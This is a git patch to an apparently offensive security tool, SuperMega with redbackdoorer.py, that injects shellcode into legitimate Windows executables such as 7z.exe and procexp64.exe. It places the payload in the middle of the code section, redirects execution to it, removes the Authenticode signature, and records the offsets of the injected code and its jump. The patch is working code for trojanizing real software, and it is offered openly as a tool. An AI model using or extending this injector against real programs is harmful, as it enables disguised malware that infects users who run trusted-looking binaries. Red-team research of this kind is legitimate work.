From 3969f3d882629a1f146e94e8aaae1865ed68c33d Mon Sep 17 00:00:00 2001 From: Dobin Date: Sun, 18 Feb 2024 12:20:03 +0000 Subject: [PATCH] refactor: get code from exe after backdooring --- phases/injector.py | 67 ++++++++++++++++++++++++++++++------ project.py | 2 +- redbackdoorer.py | 85 +++++++++++++++++++++++----------------------- supermega.py | 11 +++--- 4 files changed, 105 insertions(+), 60 deletions(-) diff --git a/phases/injector.py b/phases/injector.py index 915fd51..6cff51d 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -3,9 +3,13 @@ import shutil import pprint import logging import time +import tempfile from pehelper import * from model import * +from observer import observer + +from redbackdoorer import PeBackdoor, Logger, options logger = logging.getLogger("Injector") @@ -14,23 +18,64 @@ def inject_exe( shellcode_in: FilePath, exe_in: FilePath, exe_out: FilePath, + inject_mode: int, ): - logger.info("--[ Injecting: {} into: {} -> {} ".format( - shellcode_in, exe_in, exe_out + logger.info("--[ Injecting: {} into: {} -> {} mode {}".format( + shellcode_in, exe_in, exe_out, inject_mode )) + shellcode_len = len(file_readall_binary(shellcode_in)) + # create copy of file exe_in to exe_out shutil.copyfile(exe_in, exe_out) - # inject shellcode into exe_out with redbackdoorer - # python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe - run_process_checkret([ - "python3.exe", - "redbackdoorer.py", - project.inject_mode, - shellcode_in, - exe_out - ]) + if False: + # python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe + run_process_checkret([ + "python3.exe", + "redbackdoorer.py", + project.inject_mode, + shellcode_in, + exe_out + ]) + + options["verbose"] = True + + # copy it first... + temp = tempfile.NamedTemporaryFile(delete=False) + shutil.copy(exe_out, temp.name) + outfile = temp.name + + peinj = PeBackdoor(options, Logger) + result = peinj.backdoor( + 1, # always overwrite .text section + inject_mode, + shellcode_in, + exe_out, + outfile + ) + if not result: + logging.error("Error: Redbackdoorer failed") + raise Exception("Redbackdoorer failed") + + # and copy back + shutil.copy(outfile, exe_out) + temp.close() + os.unlink(temp.name) + + print("Result: {} and 0x{:x} 0x{:x}".format( + result, peinj.shellcodeOffset, peinj.backdoorOffsetRel, + )) + + code = extract_code_from_exe(exe_out) + + fucking_offset = peinj.backdoorOffsetRel + + in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len] + jmp_code = code[fucking_offset:fucking_offset+12] + + observer.add_code("backdoored_code", in_code) + observer.add_code("backdoored_jmp", jmp_code) def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo): diff --git a/project.py b/project.py index a092c31..b340e11 100644 --- a/project.py +++ b/project.py @@ -17,7 +17,7 @@ class Project(): # Injectable self.inject: bool = False - self.inject_mode: str = "1,2" + self.inject_mode: int = 2 self.inject_exe_in: FilePath = "" self.inject_exe_out: FilePath = "" self.exe_info: ExeInfo = None diff --git a/redbackdoorer.py b/redbackdoorer.py index 9fb97c0..6ed14ee 100644 --- a/redbackdoorer.py +++ b/redbackdoorer.py @@ -387,6 +387,10 @@ class PeBackdoor: self.logger = logger self.createdTlsSection = False + self.shellcodeOffset = 0 # from start of the file + self.shellcodeOffsetRel = 0 # from start of the code section + self.backdoorOffsetRel = 0 # from start of the code section + def openFile(self): self.pe = pefile.PE(self.infile, fast_load=False) self.pe.parse_data_directories() @@ -412,7 +416,6 @@ class PeBackdoor: self.infile = infile self.outfile = outfile self.sectionName = options.get('section_name', DefaultSectionName) - self.shellcodeOffset = 0 try: PeBackdoor.SupportedSaveModes(saveMode) @@ -475,6 +478,15 @@ class PeBackdoor: self.logger.ok('PE executable Authenticode signature removed.') return True + + def _get_code_section(self): + entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint + for sect in self.pe.sections: + if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']: + if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.SizeOfRawData: + return sect + return None + def injectShellcode(self): if self.saveMode == int(PeBackdoor.SupportedSaveModes.NewPESection): self.pe.write(self.outfile) @@ -495,61 +507,45 @@ class PeBackdoor: elif self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection): entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint - section = None + sect = self._get_code_section() + sect_name = sect.Name.decode().rstrip('\x00') + sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData + if sect == None: + return False + + self.logger.dbg(f'Backdooring {sect_name} section.') - for sect in self.pe.sections: - name = sect.Name.decode() - self.logger.dbg("Checking if section is executable: {}: 0x{:x}".format(name, sect.Characteristics)) - - # 0x20 = code - # 0x20000000 = executable - if sect.Characteristics & 0x20000000 != 0: - #if sect.Characteristics & 0x20 != 0: - # make sure its really the destination section - # UPX packed files have UPX0, UPX1, where the latter has the entry point - #self.logger.dbg("--> 0x{:x} 0x{:x} 0x{:x}".format( - # entrypoint, - # sect.VirtualAddress, - # sect.VirtualAddress + sect.SizeOfRawData, - #)) - if entrypoint > sect.VirtualAddress and entrypoint < sect.VirtualAddress + sect.SizeOfRawData: - section = sect - break - - if section != None: - self.logger.dbg(f'Backdooring {name} section.') - - if sect.Misc_VirtualSize < len(self.shellcodeData): - self.logger.fatal(f'''Input shellcode is too large to fit into target PE executable code section! + if sect_size < len(self.shellcodeData): + self.logger.fatal(f'''Input shellcode is too large to fit into target PE executable code section! Shellcode size : {len(self.shellcodeData)} -Code section size : {sect.Misc_VirtualSize} +Code section size : {sect_size} ''') - offset = int((sect.Misc_VirtualSize - len(self.shellcodeData)) / 2) - self.logger.dbg(f'Inserting shellcode into 0x{offset:x} offset.') + offset = int((sect_size - len(self.shellcodeData)) / 2) + self.logger.dbg(f'Inserting shellcode into 0x{offset:x} offset.') - self.pe.set_bytes_at_offset(offset, self.shellcodeData) - self.shellcodeOffset = offset - - rva = self.pe.get_rva_from_offset(offset) + self.pe.set_bytes_at_offset(offset, self.shellcodeData) + self.shellcodeOffset = offset + self.shellcodeOffsetRel = offset - sect.PointerToRawData + + rva = self.pe.get_rva_from_offset(offset) - p = sect.PointerToRawData + sect.SizeOfRawData - 64 - graph = textwrap.indent(f''' -Beginning of {name}: + p = sect.PointerToRawData + sect.SizeOfRawData - 64 + graph = textwrap.indent(f''' +Beginning of {sect_name}: {textwrap.indent(hexdump(self.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")} -Injected shellcode in the middle of {name}: +Injected shellcode in the middle of {sect_name}: {hexdump(self.shellcodeData, offset, 64)} -Trailing {name} bytes: +Trailing {sect_name} bytes: {hexdump(self.pe.get_data(self.pe.get_rva_from_offset(p)), p, 64)} ''', '\t') - self.logger.ok(f'Shellcode injected into existing code section at RVA 0x{rva:x}') - self.logger.dbg(graph) - return True + self.logger.ok(f'Shellcode injected into existing code section at RVA 0x{rva:x}') + self.logger.dbg(graph) + return True - return False def setupShellcodeEntryPoint(self): if self.runMode == int(PeBackdoor.SupportedRunModes.ModifyOEP): @@ -650,7 +646,6 @@ Sources: ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint ep_ava = ep + self.pe.OPTIONAL_HEADER.ImageBase - data = self.pe.get_memory_mapped_image()[ep:ep+128] offset = 0 @@ -659,6 +654,10 @@ Sources: disasmData = self.pe.get_memory_mapped_image() output = self.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction) + # store offset... by calculating it first FUCK + section = self._get_code_section() + self.backdoorOffsetRel = output - section.VirtualAddress + if output != 0: self.logger.dbg('Now disasm looks like follows: ') diff --git a/supermega.py b/supermega.py index bc3b18d..44d1f7f 100644 --- a/supermega.py +++ b/supermega.py @@ -51,17 +51,17 @@ def main(): if args.verify == "peb": project.inject = True - project.inject_mode = "1,2" + project.inject_mode = 2 project.inject_exe_in = "exes/7z.exe" project.inject_exe_out = "out/7z-verify.exe" elif args.verify == "iat": project.inject = True - project.inject_mode = "1,2" + project.inject_mode = 2 project.inject_exe_in = "exes/procexp64.exe" project.inject_exe_out = "out/procexp64-verify.exe" elif args.verify == "rwx": project.inject = True - project.inject_mode = "1,1" # ,2 is broken atm + project.inject_mode = 1 # ,2 is broken atm project.inject_exe_in = "exes/wifiinfoview.exe" project.inject_exe_out = "out/wifiinfoview.exe-verify.exe" else: @@ -81,7 +81,7 @@ def main(): if args.rbrunmode: if args.rbrunmode == "1" or args.rbrunmode == "2" or args.rbrunmode == "3": - project.inject_mode = "1," + args.rbrunmode + project.inject_mode = int(args.rbrunmode) else: logging.error("Invalid mode, use one of:") for i in ["1", "2", "3"]: @@ -215,7 +215,8 @@ def start(): phases.injector.inject_exe( shellcode_in = main_shc_file, exe_in = project.inject_exe_in, - exe_out = project.inject_exe_out + exe_out = project.inject_exe_out, + inject_mode = project.inject_mode, ) if project.source_style == SourceStyle.iat_reuse: phases.injector.injected_fix_iat(project.inject_exe_out, project.exe_info)